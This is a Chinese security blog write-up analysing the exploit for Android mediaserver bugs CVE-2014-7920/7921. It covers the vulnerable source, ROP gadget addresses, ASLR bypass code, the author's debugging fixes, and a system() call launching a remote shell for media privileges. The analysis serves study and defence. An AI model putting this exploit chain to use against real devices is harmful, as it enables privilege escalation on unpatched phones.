作者：没羽@阿里移动安全，更多技术干货，请访问阿里聚安全博客
这是Android mediaserver的提权漏洞，利用CVE-2014-7920和CVE-2014-7921实现提权，从0权限提到media权限，其中CVE-2014-7921影响Android 4.0.3及以后的版本，CVE-2014-7920影响Android 2.2及以后的版本。Google直到Android5.1才修复这2个漏洞。该漏洞[1]披露过程如下：
14.10.14 - Vulnerabilities disclosed to Google
21.10.14 - Notified the Android security team that I've written a full exploit
13.12.14 - Sent query to Google regarding the current fix status
03.01.15 - Got response stating that the patches will be rolled out in the upcoming version
03.02.15 - Sent another query to Google
18.02.15 - Got response stating the fix status has not changed
08.03.15 - Sent third query to Google
19.03.15 - Got response saying patches have been pushed into Android 5.1
2016年1月24日漏洞作者发布了漏洞分析及exploit[2]，拿到exploit后在几个Android版本上均没能运行成功，遂分析原因，学习漏洞利用思路。记录如下，欢迎大家交流学习。
不熟悉Android Binder的同学，请自行网上搜索学习资料，下面直接分析漏洞。
0x1漏洞成因
前文提到这2个漏洞出在mediaserver，mediaserver在main_mediaserver.cpp[3]实现，其main()函数中初始化了2个service：
一个是AudioFlinger[4]，service name为“media.audio_flinger”；另一个是AudioPolicyService[5]，service name为“media.audio_policy”。
1.1内存写漏洞
内存写漏洞产生在“media.audio_policy”中，接口类为IAudioPolicyService6，其中startOutput()接口存在递增的内存写漏洞，stopOutput()接口存在递减的内存写漏洞。
startOutput()接口定义为：
startOutput(audio_io_handle_t output, audio_stream_type_t stream, int session = 0)
stopOutput ()接口定义为：
stopOutput(audio_io_handle_t output, audio_stream_type_t stream, int session = 0)
1）startOutput的递增写漏洞
熟悉Android Binder的同学都知道，该接口的native类为BnAudioPolicyService[8]，当客户端请求“START_OUTPUT”code即startOutput()接口时，BnAudioPolicyService::onTransact()收到请求，然后执行下面的代码：
case START_OUTPUT: {
CHECK_INTERFACE(IAudioPolicyService, data, reply);
audio_io_handle_t output = static_cast <audio_io_handle_t>(data.readInt32());
uint32_t stream = data.readInt32();
int session = data.readInt32();
reply->writeInt32(static_cast <uint32_t>(startOutput(output,
(audio_stream_type_t)stream, session)));
return NO_ERROR;
} break;
继续调用AudioPolicyService ::startOutput()[9]方法：
mpAudioPolicy->start_output(mpAudioPolicy, output, stream, session);
mpAudioPolicy为audio_policy类型，audio_policy:: start_output()在audio_policy_hal.cpp中被定义为ap_start_output()，该方法调用：
lap->apm->startOutput(output, (AudioSystem::stream_type)stream, session);
lap->apm->startOutput()由AudioPolicyManagerBase:: startOutput()方法实现，该方法调用：
outputDesc->changeRefCount(stream, 1);
我们来看AudioOutputDescriptor:: changeRefCount()[10]方法的代码：
void AudioPolicyManagerBase::AudioOutputDescriptor::changeRefCount(AudioSystem::stream_type stream, int delta)
{
// forward usage count change to attached outputs
if (isDuplicated()) {
mOutput1->changeRefCount(stream, delta);
mOutput2->changeRefCount(stream, delta);
}
if ((delta + (int)mRefCount[stream]) < 0) {
ALOGW("changeRefCount() invalid delta %d for stream %d, refCount %d", delta, stream, mRefCount[stream]);
mRefCount[stream] = 0;
return;
}
mRefCount[stream] += delta;
ALOGV("changeRefCount() stream %d, count %d", stream, mRefCount[stream]);
当2个if语句都为假时，mRefCount[stream] += delta;语句将被执行。
此时如果索引stream可被控制，那么mRefCount内存的相对偏移内存将可被修改为加delta。恰巧stream为接口参数之一，也没校验，在AudioPolicyManagerBase:: startOutput()中传入的delta为1 ，也就是说这里存在一个递增1的内存写漏洞。这个内存写漏洞的产生需要满足以下条件：
isDuplicated()为False：幸运的是默认情况大部分output不是duplicated的。
(delta +(int)mRefCount[stream]) < 0：由于这个判断条件，mRefCount[stream]<0x7FFFFFFF时才会为False，这就限制了这个内存写漏洞，只能对内存内容小于0x7FFFFFFF的内存值进行递增。
2）stopOutput的递减写漏洞
stopOutput()接口类似于startOutput()接口，我们直接看AudioPolicyManagerBase::stopOutput()方法，该方法调用的是：
outputDesc->changeRefCount(stream, -1);
与startOutput()接口类似，也存在相同的写限制，不同的是这递减1的内存写漏洞。
1.2内存读漏洞
内存写漏洞也产生在“media.audio_policy”中，问题出在isStreamActive()接口。该接口定义为：
bool isStreamActive(audio_stream_type_t stream, uint32_t inPastMs)
类似于startOutput()接口，该接口调用了AudioPolicyManagerBase::isStreamActive()方法，该方法调用：
outputDesc->isStreamActive((AudioSystem::stream_type)stream, inPastMs, sysTime);
即AudioOutputDescriptor::isStreamActive()方法，该方法代码为：
bool AudioPolicyManagerBase::AudioOutputDescriptor::isStreamActive(AudioSystem::stream_type stream, uint32_t inPastMs, nsecs_t sysTime) const
{
if (mRefCount[stream] != 0) {
return true;
}
if (inPastMs == 0) {
return false;
}
if (sysTime == 0) {
sysTime = systemTime();
}
if (ns2ms(sysTime - mStopTime[stream]) < inPastMs) {
return true;
}
return false;
}
如果根据isStreamActive() 返回值判断mRefCount[stream]是否为0，需要满足2个条件：
mRefCount[stream] != 0；
ns2ms(sysTime - mStopTime[stream]) > inPastMs：
sysTime - mStopTime[stream]为时间差值，为正值，当inPastMs>=0x80000000时，该不等式成立。
所以可以通过控制stream和inPastMs的值判断mRefCount内存相对偏移的值是否为0。
0x2利用之前
2.1利用技巧小结
1）利用内存读，模糊匹配audio_hw_device对象
audio_hw_device这个结构包含了audio硬件设备函数指针，在“media.audio_policy”和“media.audio_flinger” service提供的接口中会被调用，这有利于写exploit。audio_hw_device结构定义如下：
[图片来自原文]
分析发现audio_hw_device对象中reserved和function_ptrs-> get_supported_devices为0，其它字段为非0。该结构用0和非0的形式可表示为：
static const unsigned char g_audio_hw_device_t_template[] = {
NOT_ZERO, //tag
NOT_ZERO, //version
NOT_ZERO, //module
//reserved
ZERO, ZERO, ZERO, ZERO,
ZERO, ZERO, ZERO, ZERO,
ZERO, ZERO, ZERO, ZERO,
NOT_ZERO, //close
ZERO, //get_supported_devices
//rest of function pointers
NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO,
NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO,
NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO,
NOT_ZERO, NOT_ZERO
};
前面提到可以通过isStreamActive()接口判断内存值是否为非0，这样结合audio_hw_device结构的特征在内存中搜索，恰巧在mRefCount的上下内存区域中可以搜索到audio_hw_device对象。
2）利用内存写，泄漏内存地址
“media.audio_flinger”提供了getInputBufferSize()接口[11]，接口定义为：
size_t getInputBufferSize(uint32_t sampleRate, audio_format_t format,
audio_channel_mask_t channelMask)
其服务端代码为：
size_t AudioFlinger::getInputBufferSize(uint32_t sampleRate, audio_format_t format,
audio_channel_mask_t channelMask) const
{
status_t ret = initCheck();
if (ret != NO_ERROR) {
return 0;
}
AutoMutex lock(mHardwareLock);
mHardwareStatus = AUDIO_HW_GET_INPUT_BUFFER_SIZE;
struct audio_config config;
memset(&config, 0, sizeof(config));
config.sample_rate = sampleRate;
config.channel_mask = channelMask;
config.format = format;
audio_hw_device_t *dev = mPrimaryHardwareDev->hwDevice();
size_t size = dev->get_input_buffer_size(dev, &config);
mHardwareStatus = AUDIO_HW_IDLE;
return size;
}
当客户端调用getInputBufferSize()接口，服务端最终调用get_input_buffer_size()即audio_hw.cpp::adev_get_input_buffer_size()函数，最后返回size。由arm指令特性可知，get_input_buffer_size(dev, &config)函数的反汇编中，通过R0传入dev指针，即audio_hw_device对象，函数执行完后，返回值通过R0传回。如果修改get_input_buffer_size函数指针，让其指向“BX LR”，那个就可拿到audio_hw_device对象的内存地址。
恰巧get_input_buffer_size ()函数指针也存储于audio_hw_device对象中，使用内存写漏洞让audio_hw_device. get_input_buffer_size指向一个“BX LR”的地址即可获取audio_hw_device对象地址。
2.2踩到的坑
笔者在调试exploit时发生多次crash，将update后的exploit放在https://github.com/Vinc3nt4H/cve-2014-79...，编译环境：Android 4.3_r2.1，运行环境：AVD 4.3（4.3_r2.1）。
1）搜索audio_hw_device对象时mediaserver crash
在运行exploit时，可以搜索到audio_hw_device对象，但mediaserver crash了，可能是由于搜索的内存范围过大，导致非法内存访问。可缩小搜索范围试试，比如设置MAX_OFFSET为-3000。
2）总是获取不到adev_open_output_stream()地址
笔者在AVD 4.3上使用原gadget read_r0_offset_108，总是获取不到adev_open_output_stream函数的指针，然后在camera.goldfish.so中找了一个gadget（thumb）：
.text:0001E290 LDR R0, [R0,#0x6C]
.text:0001E292 BX LR
3）android 4.4.2上crash
开始时笔者在AVD 4.4.2中执行exploit总是不成功，调试发现audio_hw_device. get_input_buffer_size的值被置了0，如下图：
因为mediaserver中加载的audio.primary.goldfish.so基址大于0x7FFFFFFF，也就是mRefCount[offset_get_input_buffer_size] > 0x7FFFFFFF，即为负数，在利用递增1/递减1时，changeRefCount()方法，如果(delta + (int)mRefCount[stream]) < 0，则将mRefCount[stream]置为0。在4.4.2上很难利用成功。
0x3漏洞利用分析
3.1搜索audio_hw_device对象相对偏移
2.1-1中提到利用audio_hw_device结构的特征在mediaserver进程中搜索匹配的对象。利用isStreamActive()的内存读漏洞读取mRefCount附件内存区域生产0/非0的内存映射，然后与audio_hw_device结构特征匹配，计算出audio_hw_device对象相对于mRefCount的相对偏移。
3.2 Bypass ASLR
2.1-2中有提到利用内存写漏洞获取内存地址，接下来我们来分析exploit是如何利用内存写绕过ASLR的。
1）获取audio.primary.goldfish.so基地址
首先修改audio_hw_device. get_input_buffer_size指针的值，get_input_buffer_size原始指向adev_get_input_buffer_size，修改使其指向 camera.goldfish.so::0x1E290+1，记为gadget1，代码如下：
int funcptr_current_value = RELATIVE_ADDRESS_OF_GET_INPUT_BUFFER_SIZE;
int wanted_value = + read_r0_offset_108.library_offset + read_r0_offset_108.gadget_offset;
printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);
modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);
其中library_offset为所使用的lib基址与audio.primary.goldfish.so库基址之间的偏移，gadget_offset为相对于该lib库基址的偏移；RELATIVE_ADDRESS_OF_GET_INPUT_BUFFER_SIZE为adev_get_input_buffer_size函数地址在audio.primary.goldfish.so中的偏移；modify_value()函数是内存递增1 /递减1操作的封装。gadget1为：
.text:0001E290 LDR R0, [R0,#0x6C]
.text:0001E292 BX LR
然后调用AudioFlinger::getInputBufferSize()跳到gadget1。
uint32_t read_function_pointer_address = af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
gadget1执行时R0为dev即audio_hw_device对象，参考audio_hw_device结构，R0+0x64为open_output_stream即adev_open_output_stream的值，通过R0返回。
uint32_t audio_primary_library_address = read_function_pointer_address - READ_FUNCTION_POINTER_OFFSET_FROM_BASE_ADDRESS;
再减去adev_open_output_stream在audio.primary.goldfish.so中的偏移READ_FUNCTION_POINTER_OFFSET_FROM_BASE_ADDRESS，即可得到audio.primary.goldfish.so的基址。
2）获取audio_hw_device对象地址
修改audio_hw_device. get_input_buffer_size指针使其指向libcamera_client.so::0x208FC+1，即gadget2：
.text:000208FC BX LR
gadget2运行时直接返回dev（R0）的值，即audio_hw_device对象的地址。
3）设置write gadget
修改audio_hw_device. get_input_buffer_size为libcamera_client.so: 0x208f0+1，记为gadget3，利用代码如下：
wanted_value = + write_gadget_info.library_offset + write_gadget_info.gadget_offset;
printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);
modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);
我们再来看看AudioFlinger::getInputBufferSize()方法，其中：
config.sample_rate = sampleRate;
config.channel_mask = channelMask;
config.format = format;
size_t size = dev->get_input_buffer_size(dev, &config);
看gadget3，写数据调用接口getInputBufferSize(address, 0, value)（该接口定义为getInputBufferSize(uint32_tsampleRate, audio_format_t format, audio_channel_mask_t channelMask)），走到get_input_buffer_size(dev, config)时，R0为dev, R1为&config，gadget3执行如下：
.text:000208F0 LDR R2, [R1] ;将config.sample_rate存入R2中，即将address存入R2
.text:000208F2 STR R2, [R0] ;将config.sample_rate存储dev[0]
.text:000208F4 LDR R1, [R1,#4] ;将config.channel_mask存储R1，即将value存入R1
.text:000208F6 LDR.W R2, [R2,#-0xC] ;计算偏移R2 = address - 0xC，在之前已修改了为相应的值（如：12）
.text:000208FA STR R1, [R0,R2] ;将config.channel_mask存储到，即将value存入dev[R2]
.text:000208FC BX LR ;返回
至此我们将audio_hw_device. get_input_buffer_size指向gadget3，再调用getInputBufferSize(address, 0, value)就可以向address-0xC内存写入value。
3.3布局Gadget Buffer
将system()函数地址及参数写到audio_hw_device.reserved中，再修改audio_hw_device.get_input_buffer_size指向一个call gadget，当再次调用get_input_buffer_size()时call gadget被触发。
1）写入system()函数参数
看利用代码：
const char* wanted_path = "/data/local/tmp/a";
uint32_t scratch_pad_address = primary_device_address + 12;
… …
for (int i=0; i<num_of_dwords_in_path; i++)
write32(af, aps, scratch_pad_address + i*sizeof(uint32_t), data_ptr[i]);
write32()函数写数据分为2步：
a）设置数据偏移
调用modify_value(aps, g_primary_device_offset + 1, offset - g_current_write_offset);修改dev.version的内容，该字段作为后面数据写入时的数组偏移；dev.version首次从0x200递减直到0xC：
b）写入数据
调用af->getInputBufferSize(g_primary_device_address + sizeof(uint32_t) + 12, (audio_format_t)0, (audio_channel_mask_t)value)触发gadget3执行，调试时断在gadget3上：
此时R0指向dev，R1为&config：
查看[R1]内存，R1[0]为config. sampleRate即address，为要写入的地址，address为&dev[0]+4+12， R1[1]为config. channelMask即value ，值为“/dat”：
gadget3的伪代码大致如下：
R2 = address;
dev[0] = R2;
R1 = value;
R2 = [R2-0xC];//R2-0xC=>dev+4,指向dev.version，存储写入偏移
dev[R2] = R1;//写入value
该gadget（某次）运行完后，数据已被写入audio_hw_device对象中:
2）写入system()函数地址
根据audio.primary.goldfish.so的基址计算出system()函数的地址，调用gadget3写到dev+36：
uint32_t system_address = audio_primary_library_address + system_gadget.library_offset +
system_gadget.gadget_offset;
printf("[+] Calculated system address: %08X\n", system_address);
printf("[+] Writing parameters to addresses %08X, %08X\n", primary_device_address + 88, primary_device_address + 96);
write32(af, aps, primary_device_address + 32, scratch_pad_address);
write32(af, aps, primary_device_address + 36, system_address);
3）写入call gadget
调用gadget3修改audio_hw_device. get_input_buffer_size指针的值，使用指向，libstagefright.so: 0x5EF88+1，记为gadget4。
uint32_t blx_gadget_address = audio_primary_library_address + blx_gadget.library_offset +
blx_gadget.gadget_offset;
printf("[+] Calculated blx gadget address: %08X\n", blx_gadget_address);
write32(af, aps, primary_device_address + GET_INPUT_BUFFER_SIZE_OFFSET*sizeof(uint32_t), blx_gadget_address);
gadget4：
.text:0005EF88 LDR R3, [R0,#36] ;system()
.text:0005EF8A LDR R0, [R0,#32] ; 将参数/data/local/tmp/a的指针加载到R0
.text:0005EF8C BLX R3
3.4触发代码执行
利用代码为：
af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
当调用getInputBufferSize()时触发gadget4执行：
寄存器值：
调用system()函数，加载外命令/data/local/tmp/a。笔者写了个远程shell命名为a，下图是运行成功后获取的shell，为“media”权限：
0x4参考链接
[1]http://bits-please.blogspot.com/2016/01/...
[2]https://github.com/laginimaineb/cve-2014...
[3]http://androidxref.com/4.3_r2.1/xref/fra...
[4]http://androidxref.com/4.3_r2.1/xref/fra...
[5]http://androidxref.com/4.3_r2.1/xref/fra...
[6]http://androidxref.com/4.3_r2.1/xref/fra...
[7]http://androidxref.com/4.3_r2.1/xref/fra...
[8]http://androidxref.com/4.3_r2.1/xref/fra...
[9]http://androidxref.com/4.3_r2.1/xref/fra...
[10]http://androidxref.com/4.3_r2.1/xref/har...
[11]http://androidxref.com/4.3_r2.1/xref/fra...
[12]https://github.com/Vinc3nt4H/cve-2014-79...
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